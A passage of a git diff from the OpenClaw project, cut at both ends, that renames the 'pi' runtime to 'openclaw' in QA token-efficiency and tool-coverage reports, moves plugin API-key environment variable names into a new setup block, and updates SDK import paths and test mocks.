"missing-live-usage codex live usage totalTokens=0", ]); }); @@ -142,14 +142,14 @@ describe("token efficiency report", () => { status: "pass", runtimeParity: makeRuntimeParity( "mock-regression", - makeCell("pi", { inputTokens: 100, outputTokens: 0, totalTokens: 100 }), + makeCell("openclaw", { inputTokens: 100, outputTokens: 0, totalTokens: 100 }), makeCell("codex", { inputTokens: 130, outputTokens: 0, totalTokens: 130 }), ), }, ], run: { providerMode: "mock-openai", - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }, }, }); @@ -170,12 +170,12 @@ describe("token efficiency report", () => { summary: makeLiveSummary([ makeRuntimeParity( "codex-savings", - makeCell("pi", { inputTokens: 100, outputTokens: 100, totalTokens: 200 }), + makeCell("openclaw", { inputTokens: 100, outputTokens: 100, totalTokens: 200 }), makeCell("codex", { inputTokens: 50, outputTokens: 50, totalTokens: 100 }), ), makeRuntimeParity( "codex-regression", - makeCell("pi", { inputTokens: 100, outputTokens: 0, totalTokens: 100 }), + makeCell("openclaw", { inputTokens: 100, outputTokens: 0, totalTokens: 100 }), makeCell("codex", { inputTokens: 130, outputTokens: 0, totalTokens: 130 }), ), ]), diff --git a/extensions/qa-lab/src/token-efficiency-report.ts b/extensions/qa-lab/src/token-efficiency-report.ts index c4060df8492..bb377643ac4 100644 --- a/extensions/qa-lab/src/token-efficiency-report.ts +++ b/extensions/qa-lab/src/token-efficiency-report.ts @@ -1,4 +1,3 @@ -import { sortUniqueStrings } from "openclaw/plugin-sdk/string-coerce-runtime"; import type { RuntimeId, RuntimeParityCell, RuntimeParityResult } from "./runtime-parity.js"; export type TokenEfficiencyRuntimeUsage = { @@ -11,7 +10,7 @@ export type TokenEfficiencyRuntimeUsage = { export type TokenEfficiencyRow = { scenarioId: string; usageSource: "live-usage" | "mock-estimate"; - pi: TokenEfficiencyRuntimeUsage; + openclaw: TokenEfficiencyRuntimeUsage; codex: TokenEfficiencyRuntimeUsage; deltaPercent: number; classification: "regression" | "savings" | "neutral"; @@ -27,7 +26,7 @@ export type TokenEfficiencyReport = { thresholdPercent: number; rows: TokenEfficiencyRow[]; aggregate: { - pi: { totalTokens: number; p50PerScenario: number; p90PerScenario: number }; + openclaw: { totalTokens: number; p50PerScenario: number; p90PerScenario: number }; codex: { totalTokens: number; p50PerScenario: number; p90PerScenario: number }; deltaPercent: number; flaggedScenarios: string[]; @@ -59,7 +58,7 @@ export type BuildTokenEfficiencyReportParams = { const DEFAULT_THRESHOLD_PERCENT = 15; const ZERO_AGGREGATE: TokenEfficiencyReport["aggregate"] = { - pi: { totalTokens: 0, p50PerScenario: 0, p90PerScenario: 0 }, + openclaw: { totalTokens: 0, p50PerScenario: 0, p90PerScenario: 0 }, codex: { totalTokens: 0, p50PerScenario: 0, p90PerScenario: 0 }, deltaPercent: 0, flaggedScenarios: [], @@ -72,18 +71,18 @@ function normalizeRuntimePair( if (pair?.[0] && pair?.[1]) { return pair; } - return ["pi", "codex"]; + return ["openclaw", "codex"]; } function normalizeTokenCount(value: number): number { return Number.isFinite(value) ? Math.max(0, value) : 0; } -function deltaPercent(piTotalTokens: number, codexTotalTokens: number): number { - if (piTotalTokens === 0) { +function deltaPercent(openclawTotalTokens: number, codexTotalTokens: number): number { + if (openclawTotalTokens === 0) { return codexTotalTokens === 0 ? 0 : 100; } - return ((codexTotalTokens - piTotalTokens) / piTotalTokens) * 100; + return ((codexTotalTokens - openclawTotalTokens) / openclawTotalTokens) * 100; } function percentile(values: readonly number[], p: number): number { @@ -113,8 +112,10 @@ function runtimeUsage(cell: RuntimeParityCell): TokenEfficiencyRuntimeUsage { }; } -function toolNamesForCells(pi: RuntimeParityCell, codex: RuntimeParityCell): string[] { - return sortUniqueStrings([...pi.toolCalls, ...codex.toolCalls].map((call) => call.tool)); +function toolNamesForCells(openclaw: RuntimeParityCell, codex: RuntimeParityCell): string[] { + return [ + ...new Set([...openclaw.toolCalls, ...codex.toolCalls].map((call) => call.tool)), + ].toSorted((left, right) => left.localeCompare(right)); } function buildRow(params: { @@ -122,9 +123,9 @@ function buildRow(params: { thresholdPercent: number; usageSource: TokenEfficiencyRow["usageSource"]; }): TokenEfficiencyRow { - const pi = runtimeUsage(params.result.cells.pi); + const openclaw = runtimeUsage(params.result.cells.openclaw); const codex = runtimeUsage(params.result.cells.codex); - const delta = deltaPercent(pi.totalTokens, codex.totalTokens); + const delta = deltaPercent(openclaw.totalTokens, codex.totalTokens); const flagged = params.usageSource === "live-usage" && delta > params.thresholdPercent; const classification = delta > params.thresholdPercent @@ -135,32 +136,32 @@ function buildRow(params: { return { scenarioId: params.result.scenarioId, usageSource: params.usageSource, - pi, + openclaw, codex, deltaPercent: delta, classification, flagged, - toolsUsed: toolNamesForCells(params.result.cells.pi, params.result.cells.codex), + toolsUsed: toolNamesForCells(params.result.cells.openclaw, params.result.cells.codex), }; } function buildAggregate(rows: readonly TokenEfficiencyRow[]): TokenEfficiencyReport["aggregate"] { - const piTotals = rows.map((row) => row.pi.totalTokens); + const openclawTotals = rows.map((row) => row.openclaw.totalTokens); const codexTotals = rows.map((row) => row.codex.totalTokens); - const piTotalTokens = piTotals.reduce((sum, value) => sum + value, 0); + const openclawTotalTokens = openclawTotals.reduce((sum, value) => sum + value, 0); const codexTotalTokens = codexTotals.reduce((sum, value) => sum + value, 0); return { - pi: { - totalTokens: piTotalTokens, - p50PerScenario: percentile(piTotals, 50), - p90PerScenario: percentile(piTotals, 90), + openclaw: { + totalTokens: openclawTotalTokens, + p50PerScenario: percentile(openclawTotals, 50), + p90PerScenario: percentile(openclawTotals, 90), }, codex: { totalTokens: codexTotalTokens, p50PerScenario: percentile(codexTotals, 50), p90PerScenario: percentile(codexTotals, 90), }, - deltaPercent: deltaPercent(piTotalTokens, codexTotalTokens), + deltaPercent: deltaPercent(openclawTotalTokens, codexTotalTokens), flaggedScenarios: rows.filter((row) => row.flagged).map((row) => row.scenarioId), savingsScenarios: rows .filter((row) => row.classification === "savings") @@ -170,8 +171,8 @@ function buildAggregate(rows: readonly TokenEfficiencyRow[]): TokenEfficiencyRep function liveEvidenceFailures(row: TokenEfficiencyRow): string[] { const failures: string[] = []; - if (row.pi.totalTokens <= 0) { - failures.push(`${row.scenarioId} pi live usage totalTokens=${row.pi.totalTokens}`); + if (row.openclaw.totalTokens <= 0) { + failures.push(`${row.scenarioId} openclaw live usage totalTokens=${row.openclaw.totalTokens}`); } if (row.codex.totalTokens <= 0) { failures.push(`${row.scenarioId} codex live usage totalTokens=${row.codex.totalTokens}`); @@ -237,7 +238,7 @@ export function buildTokenEfficiencyReport( failures, notes: [ "Token totals are read from RuntimeParityCell.usage, which is captured from normalized AssistantMessage.usage.", - "Codex savings are reported as savings and do not fail the gate; only positive Codex-over-Pi live deltas exceed the threshold.", + "Codex savings are reported as savings and do not fail the gate; only positive Codex-over-OpenClaw live deltas exceed the threshold.", usageSource === "mock-estimate" ? "Mock-provider token totals are labeled as estimates and do not block the token-efficiency gate." : "The report does not inspect provider transport payload token counters.", @@ -266,7 +267,7 @@ export function renderTokenEfficiencyMarkdownReport(report: TokenEfficiencyRepor "", "| Runtime | Total tokens | p50 per scenario | p90 per scenario |", "| --- | ---: | ---: | ---: |", - `| pi | ${report.aggregate.pi.totalTokens} | ${report.aggregate.pi.p50PerScenario} | ${report.aggregate.pi.p90PerScenario} |`, + `| openclaw | ${report.aggregate.openclaw.totalTokens} | ${report.aggregate.openclaw.p50PerScenario} | ${report.aggregate.openclaw.p90PerScenario} |`, `| codex | ${report.aggregate.codex.totalTokens} | ${report.aggregate.codex.p50PerScenario} | ${report.aggregate.codex.p90PerScenario} |`, `| delta | ${formatPercent(report.aggregate.deltaPercent)} | | |`, "", @@ -276,12 +277,12 @@ export function renderTokenEfficiencyMarkdownReport(report: TokenEfficiencyRepor lines.push( "## Scenario Efficiency", "", - "| Scenario | Source | Pi in/out/total/tools | Codex in/out/total/tools | Token delta | Classification | Flagged | Tools used |", + "| Scenario | Source | OpenClaw in/out/total/tools | Codex in/out/total/tools | Token delta | Classification | Flagged | Tools used |", "| --- | --- | ---: | ---: | ---: | --- | --- | --- |", ); for (const row of report.rows) { lines.push( - `| ${row.scenarioId} | ${row.usageSource} | ${row.pi.inputTokens}/${row.pi.outputTokens}/${row.pi.totalTokens}/${row.pi.toolCallCount} | ${row.codex.inputTokens}/${row.codex.outputTokens}/${row.codex.totalTokens}/${row.codex.toolCallCount} | ${formatPercent(row.deltaPercent)} | ${row.classification} | ${row.flagged ? "yes" : "no"} | ${row.toolsUsed.join(", ")} |`, + `| ${row.scenarioId} | ${row.usageSource} | ${row.openclaw.inputTokens}/${row.openclaw.outputTokens}/${row.openclaw.totalTokens}/${row.openclaw.toolCallCount} | ${row.codex.inputTokens}/${row.codex.outputTokens}/${row.codex.totalTokens}/${row.codex.toolCallCount} | ${formatPercent(row.deltaPercent)} | ${row.classification} | ${row.flagged ? "yes" : "no"} | ${row.toolsUsed.join(", ")} |`, ); } lines.push(""); diff --git a/extensions/qa-lab/src/tool-coverage-report.test.ts b/extensions/qa-lab/src/tool-coverage-report.test.ts index 787a96ebc43..fca3dc14118 100644 --- a/extensions/qa-lab/src/tool-coverage-report.test.ts +++ b/extensions/qa-lab/src/tool-coverage-report.test.ts @@ -60,7 +60,7 @@ describe("qa tool coverage report", () => { capabilityLayer: "codex-native-workspace", required: true, fixtureCount: 1, - pi: "not-run", + openclaw: "not-run", codex: "not-run", drift: "not-run", }), @@ -95,8 +95,8 @@ describe("qa tool coverage report", () => { scenarioId: "tool-read", drift: "none", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "read", argsHash: "a", resultHash: "r" }], finalText: "", @@ -124,8 +124,8 @@ describe("qa tool coverage report", () => { drift: "tool-result-shape", driftDetails: "tool result differs", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "write", argsHash: "a", resultHash: "r1" }], finalText: "", @@ -147,7 +147,7 @@ describe("qa tool coverage report", () => { }, ], run: { - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }, }, generatedAt: "2026-05-10T00:00:00.000Z", @@ -185,8 +185,8 @@ describe("qa tool coverage report", () => { scenarioId: "tool-optional", drift: "tool-call-shape", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [], finalText: "", @@ -245,8 +245,8 @@ describe("qa tool coverage report", () => { drift: "tool-call-shape", driftDetails: "searchable discovery was report-only", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "web_search", argsHash: "a", resultHash: "r" }], finalText: "", @@ -308,8 +308,8 @@ describe("qa tool coverage report", () => { drift: "tool-result-shape", driftDetails: "runtime envelopes differ", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "web_search", argsHash: "a", resultHash: "r1" }], finalText: "", @@ -362,8 +362,8 @@ describe("qa tool coverage report", () => { drift: "tool-call-shape", driftDetails: "Codex emitted no web_search call", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "web_search", argsHash: "a", resultHash: "r" }], finalText: "", @@ -389,9 +389,7 @@ describe("qa tool coverage report", () => { }); expect(report.pass).toBe(false); - expect(report.failures).toEqual([ - "web-search missing codex tool call web_search", - ]); + expect(report.failures).toEqual(["web-search missing codex tool call web_search"]); }); it("fails required OpenClaw dynamic tool coverage when the fixture failure mode is preserved", () => { @@ -417,8 +415,8 @@ describe("qa tool coverage report", () => { drift: "failure-mode", driftDetails: "at least one runtime failed", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "web_search", argsHash: "a", resultHash: "r" }], finalText: "", diff --git a/extensions/qa-lab/src/tool-coverage-report.ts b/extensions/qa-lab/src/tool-coverage-report.ts index 86f722ec5e9..99df33862ba 100644 --- a/extensions/qa-lab/src/tool-coverage-report.ts +++ b/extensions/qa-lab/src/tool-coverage-report.ts @@ -43,10 +43,10 @@ export type QaToolCoverageRow = { fixtureCount: number; scenarios: string[]; sourcePaths: string[]; - pi: QaToolCoverageStatus; + openclaw: QaToolCoverageStatus; codex: QaToolCoverageStatus; drift: QaToolCoverageDrift; - piToolCalls: number; + openclawToolCalls: number; codexToolCalls: number; tracking?: string; codexDefaultImpact?: string; @@ -87,7 +87,7 @@ function normalizeRuntimePair( if (pair?.[0] && pair?.[1]) { return pair; } - return ["pi", "codex"]; + return ["openclaw", "codex"]; } function cellStatus(cell: RuntimeParityCell | undefined): QaToolCoverageStatus { @@ -191,7 +191,8 @@ function countRuntimeToolCalls( if (!result || !toolName) { return 0; } - return result.cells[runtime].toolCalls.filter((call) => call.tool === toolName).length; + const cell = runtime === "openclaw" ? result.cells.openclaw : result.cells.codex; + return cell.toolCalls.filter((call) => call.tool === toolName).length; } function buildRow(params: { @@ -216,10 +217,10 @@ function buildRow(params: { fixtureCount: params.group.scenarios.length, scenarios: params.group.scenarios.map((scenario) => scenario.id), sourcePaths: params.group.scenarios.map((scenario) => scenario.sourcePath), - pi: result ? cellStatus(result.cells.pi) : "not-run", + openclaw: result ? cellStatus(result.cells.openclaw) : "not-run", codex: result ? cellStatus(result.cells.codex) : "not-run", drift: result?.drift ?? "not-run", - piToolCalls: countRuntimeToolCalls(result, "pi", runtimeToolName), + openclawToolCalls: countRuntimeToolCalls(result, "openclaw", runtimeToolName), codexToolCalls: countRuntimeToolCalls(result, "codex", runtimeToolName), ...(tracking ? { tracking } : {}), ...(rowMetadata.codexDefaultImpact @@ -238,14 +239,14 @@ function coverageFailureForRow(row: QaToolCoverageRow): string | undefined { if (row.drift === "not-run") { return `${row.tool} drift=not-run`; } - if (row.pi !== "pass" || row.codex !== "pass") { - return `${row.tool} status pi=${row.pi} codex=${row.codex}`; + if (row.openclaw !== "pass" || row.codex !== "pass") { + return `${row.tool} status openclaw=${row.openclaw} codex=${row.codex}`; } if (row.drift === "failure-mode") { return `${row.tool} drift=failure-mode${row.details ? ` (${row.details})` : ""}`; } - if (row.runtimeToolName && row.piToolCalls === 0) { - return `${row.tool} missing pi tool call ${row.runtimeToolName}`; + if (row.runtimeToolName && row.openclawToolCalls === 0) { + return `${row.tool} missing openclaw tool call ${row.runtimeToolName}`; } if (row.runtimeToolName && row.codexToolCalls === 0) { return `${row.tool} missing codex tool call ${row.runtimeToolName}`; @@ -290,7 +291,7 @@ export function buildQaToolCoverageReport(params: { (row) => row.required && !row.tracking && - row.pi === "pass" && + row.openclaw === "pass" && row.codex === "pass" && (isPassingToolCoverageDrift(row.drift, true) || !coverageFailureForRow(row)), ).length @@ -320,13 +321,13 @@ export function renderQaToolCoverageMarkdownReport(report: QaToolCoverageReport) `- Failing tools: ${report.failingTools}`, `- Verdict: ${report.pass ? "pass" : "fail"}`, "", - "| Tool | Bucket | Expected layer | Capability layer | Required | Fixtures | Pi | Codex | Drift | Codex default impact | QA impact | Action | Tracking |", + "| Tool | Bucket | Expected layer | Capability layer | Required | Fixtures | OpenClaw | Codex | Drift | Codex default impact | QA impact | Action | Tracking |", "| --- | --- | --- | --- | --- | ---: | --- | --- | --- | --- | --- | --- | --- |", ]; for (const row of report.rows) { lines.push( - `| ${row.tool} | ${row.bucket} | ${row.expectedLayer} | ${row.capabilityLayer} | ${row.required ? "yes" : "no"} | ${row.fixtureCount} | ${row.pi} | ${row.codex} | ${row.drift} | ${row.codexDefaultImpact ?? ""} | ${row.qaImpact ?? ""} | ${row.action ?? ""} | ${row.tracking ?? ""} |`, + `| ${row.tool} | ${row.bucket} | ${row.expectedLayer} | ${row.capabilityLayer} | ${row.required ? "yes" : "no"} | ${row.fixtureCount} | ${row.openclaw} | ${row.codex} | ${row.drift} | ${row.codexDefaultImpact ?? ""} | ${row.qaImpact ?? ""} | ${row.action ?? ""} | ${row.tracking ?? ""} |`, ); } diff --git a/extensions/qqbot/src/engine/gateway/response-timeout.ts b/extensions/qqbot/src/engine/gateway/response-timeout.ts index 2333c4f928d..475567f786a 100644 --- a/extensions/qqbot/src/engine/gateway/response-timeout.ts +++ b/extensions/qqbot/src/engine/gateway/response-timeout.ts @@ -7,7 +7,7 @@ * QQBot reply path abort at ~5 minutes with "LLM request timed out", * despite the direct ollama call to the same model working. The * embedded-runner / idle-timeout layer already honors longer - * provider timeouts (see `src/agents/pi-embedded-runner/run/llm-idle-timeout.ts`), + * provider timeouts (see `src/agents/embedded-agent-runner/run/llm-idle-timeout.ts`), * but the QQBot outbound dispatcher held an independent hardcoded * `RESPONSE_TIMEOUT = 300_000` watchdog that quietly undercut the * configured ceiling. @@ -34,7 +34,7 @@ export const DEFAULT_RESPONSE_TIMEOUT_MS = 300_000; /** * Upper bound to keep the watchdog inside the safe `setTimeout` range * (approximately 24.8 days). Mirrors `MAX_SAFE_TIMEOUT_MS` in - * `src/agents/pi-embedded-runner/run/llm-idle-timeout.ts`. + * `src/agents/embedded-agent-runner/run/llm-idle-timeout.ts`. */ const MAX_SAFE_TIMEOUT_MS = 2_147_000_000; diff --git a/extensions/qwen/openclaw.plugin.json b/extensions/qwen/openclaw.plugin.json index 686a2b85a6e..1215eadf5ab 100644 --- a/extensions/qwen/openclaw.plugin.json +++ b/extensions/qwen/openclaw.plugin.json @@ -70,8 +70,13 @@ } } }, - "providerAuthEnvVars": { - "qwen": ["QWEN_API_KEY", "MODELSTUDIO_API_KEY", "DASHSCOPE_API_KEY"] + "setup": { + "providers": [ + { + "id": "qwen", + "envVars": ["QWEN_API_KEY", "MODELSTUDIO_API_KEY", "DASHSCOPE_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/qwen/stream.test.ts b/extensions/qwen/stream.test.ts index ff34ff696ef..a67e5bb6343 100644 --- a/extensions/qwen/stream.test.ts +++ b/extensions/qwen/stream.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createQwenThinkingWrapper, wrapQwenProviderStream } from "./stream.js"; diff --git a/extensions/qwen/stream.ts b/extensions/qwen/stream.ts index bc9a44946d6..c806e81ff4d 100644 --- a/extensions/qwen/stream.ts +++ b/extensions/qwen/stream.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { normalizeProviderId } from "openclaw/plugin-sdk/provider-model-shared"; import { diff --git a/extensions/runway/openclaw.plugin.json b/extensions/runway/openclaw.plugin.json index c2e7f82ac3e..aa0574789f6 100644 --- a/extensions/runway/openclaw.plugin.json +++ b/extensions/runway/openclaw.plugin.json @@ -4,8 +4,13 @@ "onStartup": false }, "enabledByDefault": true, - "providerAuthEnvVars": { - "runway": ["RUNWAYML_API_SECRET", "RUNWAY_API_KEY"] + "setup": { + "providers": [ + { + "id": "runway", + "envVars": ["RUNWAYML_API_SECRET", "RUNWAY_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/senseaudio/openclaw.plugin.json b/extensions/senseaudio/openclaw.plugin.json index 10ebdcd0e05..a9c21aaab2c 100644 --- a/extensions/senseaudio/openclaw.plugin.json +++ b/extensions/senseaudio/openclaw.plugin.json @@ -4,8 +4,13 @@ "onStartup": false }, "enabledByDefault": true, - "providerAuthEnvVars": { - "senseaudio": ["SENSEAUDIO_API_KEY"] + "setup": { + "providers": [ + { + "id": "senseaudio", + "envVars": ["SENSEAUDIO_API_KEY"] + } + ] }, "contracts": { "mediaUnderstandingProviders": ["senseaudio"] diff --git a/extensions/sglang/openclaw.plugin.json b/extensions/sglang/openclaw.plugin.json index e038aafaf67..9646539f5d9 100644 --- a/extensions/sglang/openclaw.plugin.json +++ b/extensions/sglang/openclaw.plugin.json @@ -22,8 +22,13 @@ } } }, - "providerAuthEnvVars": { - "sglang": ["SGLANG_API_KEY"] + "setup": { + "providers": [ + { + "id": "sglang", + "envVars": ["SGLANG_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/skill-workshop/index.test.ts b/extensions/skill-workshop/index.test.ts index c075bd2849e..662f385d514 100644 --- a/extensions/skill-workshop/index.test.ts +++ b/extensions/skill-workshop/index.test.ts @@ -725,7 +725,7 @@ describe("skill-workshop", () => { path.join(workspaceDir, "skills", "qa-scenario-workflow", "SKILL.md"), "---\nname: qa-scenario-workflow\ndescription: QA notes.\n---\n\n## Workflow\n\n- Run smoke tests.\n", ); - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [ { text: JSON.stringify({ @@ -746,7 +746,7 @@ describe("skill-workshop", () => { agent: { defaults: { provider: "openai", model: "gpt-5.4" }, resolveAgentDir: () => path.join(workspaceDir, ".agent"), - runEmbeddedPiAgent, + runEmbeddedAgent, }, state: { resolveStateDir: () => stateDir, @@ -777,7 +777,7 @@ describe("skill-workshop", () => { expect(proposal?.change.kind === "append" ? proposal.change.section : undefined).toBe( "Workflow", ); - const reviewerRequest = firstMockArg(runEmbeddedPiAgent); + const reviewerRequest = firstMockArg(runEmbeddedAgent); expect(reviewerRequest.disableTools).toBe(true); expect(reviewerRequest.toolsAllow).toEqual([]); expect(reviewerRequest.provider).toBe("openai"); @@ -787,7 +787,7 @@ describe("skill-workshop", () => { it("uses the configured agent default for reviewer fallback", async () => { const workspaceDir = await makeTempDir(); const stateDir = await makeTempDir(); - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [{ text: JSON.stringify({ action: "none" }) }], meta: {}, })); @@ -803,7 +803,7 @@ describe("skill-workshop", () => { agent: { defaults: { provider: "openai", model: "gpt-5.4" }, resolveAgentDir: () => path.join(workspaceDir, ".agent"), - runEmbeddedPiAgent, + runEmbeddedAgent, }, state: { resolveStateDir: () => stateDir, @@ -828,7 +828,7 @@ describe("skill-workshop", () => { messages: [{ role: "user", content: "Remember this repeatable fix." }], }); - const reviewerRequest = firstMockArg(runEmbeddedPiAgent); + const reviewerRequest = firstMockArg(runEmbeddedAgent); expect(reviewerRequest.provider).toBe("openai-codex"); expect(reviewerRequest.model).toBe("gpt-5.5"); }); @@ -836,7 +836,7 @@ describe("skill-workshop", () => { it("infers reviewer fallback provider for a bare configured model", async () => { const workspaceDir = await makeTempDir(); const stateDir = await makeTempDir(); - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [{ text: JSON.stringify({ action: "none" }) }], meta: {}, })); @@ -870,7 +870,7 @@ describe("skill-workshop", () => { agent: { defaults: { provider: "openai", model: "gpt-5.4" }, resolveAgentDir: () => path.join(workspaceDir, ".agent"), - runEmbeddedPiAgent, + runEmbeddedAgent, }, state: { resolveStateDir: () => stateDir, @@ -895,7 +895,7 @@ describe("skill-workshop", () => { messages: [{ role: "user", content: "Remember this bare-model default." }], }); - const reviewerRequest = firstMockArg(runEmbeddedPiAgent); + const reviewerRequest = firstMockArg(runEmbeddedAgent); expect(reviewerRequest.provider).toBe("openai-codex"); expect(reviewerRequest.model).toBe("gpt-5.5"); }); @@ -903,7 +903,7 @@ describe("skill-workshop", () => { it("runs reviewer after threshold and queues the proposal", async () => { const workspaceDir = await makeTempDir(); const stateDir = await makeTempDir(); - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [ { text: JSON.stringify({ @@ -926,7 +926,7 @@ describe("skill-workshop", () => { defaults: { provider: "openai", model: "gpt-5.4" }, resolveAgentWorkspaceDir: () => workspaceDir, resolveAgentDir: () => path.join(workspaceDir, ".agent"), - runEmbeddedPiAgent, + runEmbeddedAgent, }, state: { resolveStateDir: () => stateDir, @@ -947,7 +947,7 @@ describe("skill-workshop", () => { const store = new SkillWorkshopStore({ stateDir, workspaceDir }); expect(await store.list("pending")).toHaveLength(1); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(runEmbeddedAgent).toHaveBeenCalledOnce(); }); it("quarantines unsafe tool suggestions with scan metadata", async () => { diff --git a/extensions/skill-workshop/src/reviewer.ts b/extensions/skill-workshop/src/reviewer.ts index 73d5e697c56..8906c21f78a 100644 --- a/extensions/skill-workshop/src/reviewer.ts +++ b/extensions/skill-workshop/src/reviewer.ts @@ -244,7 +244,7 @@ export async function reviewTranscriptForProposal(params: { api: params.api, agentId: params.ctx.agentId, }); - const result = await params.api.runtime.agent.runEmbeddedPiAgent({ + const result = await params.api.runtime.agent.runEmbeddedAgent({ sessionId, sessionKey: params.ctx.sessionKey, agentId: params.ctx.agentId, diff --git a/extensions/slack/src/action-runtime.ts b/extensions/slack/src/action-runtime.ts index 578bba098ea..0d78426ae38 100644 --- a/extensions/slack/src/action-runtime.ts +++ b/extensions/slack/src/action-runtime.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { readBooleanParam } from "openclaw/plugin-sdk/boolean-param"; import { isSingleUseReplyToMode } from "openclaw/plugin-sdk/reply-reference"; import { resolveOpenProviderRuntimeGroupPolicy } from "openclaw/plugin-sdk/runtime-group-policy"; diff --git a/extensions/slack/src/channel-actions.ts b/extensions/slack/src/channel-actions.ts index 6271c0842a6..82f38eab166 100644 --- a/extensions/slack/src/channel-actions.ts +++ b/extensions/slack/src/channel-actions.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import type { ChannelMessageActionAdapter } from "openclaw/plugin-sdk/channel-contract"; import type { SlackActionContext } from "./action-runtime.js"; import { handleSlackMessageAction } from "./message-action-dispatch.js"; diff --git a/extensions/slack/src/message-action-dispatch.ts b/extensions/slack/src/message-action-dispatch.ts index cfa9416bb4c..04b876a1e83 100644 --- a/extensions/slack/src/message-action-dispatch.ts +++ b/extensions/slack/src/message-action-dispatch.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { readBooleanParam } from "openclaw/plugin-sdk/boolean-param"; import type { ChannelMessageActionContext } from "openclaw/plugin-sdk/channel-contract"; import { diff --git a/extensions/synthetic/openclaw.plugin.json b/extensions/synthetic/openclaw.plugin.json index 262f9f7dfcd..e78448ed1b5 100644 --- a/extensions/synthetic/openclaw.plugin.json +++ b/extensions/synthetic/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["synthetic"], - "providerAuthEnvVars": { - "synthetic": ["SYNTHETIC_API_KEY"] + "setup": { + "providers": [ + { + "id": "synthetic", + "envVars": ["SYNTHETIC_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/tavily/openclaw.plugin.json b/extensions/tavily/openclaw.plugin.json index d122f5d6555..0822c3e094f 100644 --- a/extensions/tavily/openclaw.plugin.json +++ b/extensions/tavily/openclaw.plugin.json @@ -4,8 +4,13 @@ "onStartup": false }, "skills": ["./skills"], - "providerAuthEnvVars": { - "tavily": ["TAVILY_API_KEY"] + "setup": { + "providers": [ + { + "id": "tavily", + "envVars": ["TAVILY_API_KEY"] + } + ] }, "uiHints": { "webSearch.apiKey": { diff --git a/extensions/telegram/src/action-runtime.ts b/extensions/telegram/src/action-runtime.ts index 3547c6fe388..0f2d821bff3 100644 --- a/extensions/telegram/src/action-runtime.ts +++ b/extensions/telegram/src/action-runtime.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { readBooleanParam } from "openclaw/plugin-sdk/boolean-param"; import { jsonResult, diff --git a/extensions/telegram/src/bot-message-context.test-harness.ts b/extensions/telegram/src/bot-message-context.test-harness.ts index f7c0dee0e51..1cffca4557f 100644 --- a/extensions/telegram/src/bot-message-context.test-harness.ts +++ b/extensions/telegram/src/bot-message-context.test-harness.ts @@ -152,14 +152,6 @@ let buildTelegramMessageContextLoader: | undefined; let vitestModuleLoader: Promise | undefined; let messageContextMocksInstalled = false; -type TopicNameCacheEntry = { - name: string; - iconColor?: number; - iconCustomEmojiId?: string; - closed?: boolean; - updatedAt: number; -}; -const topicNameStoresForTest = new Map>(); async function loadBuildTelegramMessageContext() { await installMessageContextTestMocks(); @@ -181,22 +173,4 @@ async function installMessageContextTestMocks() { return; } messageContextMocksInstalled = true; - const { setTelegramTopicNameStoreFactoryForTest } = await import("./topic-name-cache.js"); - setTelegramTopicNameStoreFactoryForTest((namespace) => { - let store = topicNameStoresForTest.get(namespace); - if (!store) { - store = new Map(); - topicNameStoresForTest.set(namespace, store); - } - return { - register: async (key, value) => { - store.set(key, value); - }, - entries: async () => [...store.entries()].map(([key, value]) => ({ key, value })), - delete: async (key) => store.delete(key), - clear: async () => { - store.clear(); - }, - }; - }); } diff --git a/extensions/telegram/src/bot.media.e2e-harness.ts b/extensions/telegram/src/bot.media.e2e-harness.ts index ffc05931b4d..374f71b939d 100644 --- a/extensions/telegram/src/bot.media.e2e-harness.ts +++ b/extensions/telegram/src/bot.media.e2e-harness.ts @@ -127,6 +127,10 @@ const apiStub: ApiStub = { }; const throttlerSpy = vi.fn(() => "throttler"); +const defaultRuntimeConfig = (() => + 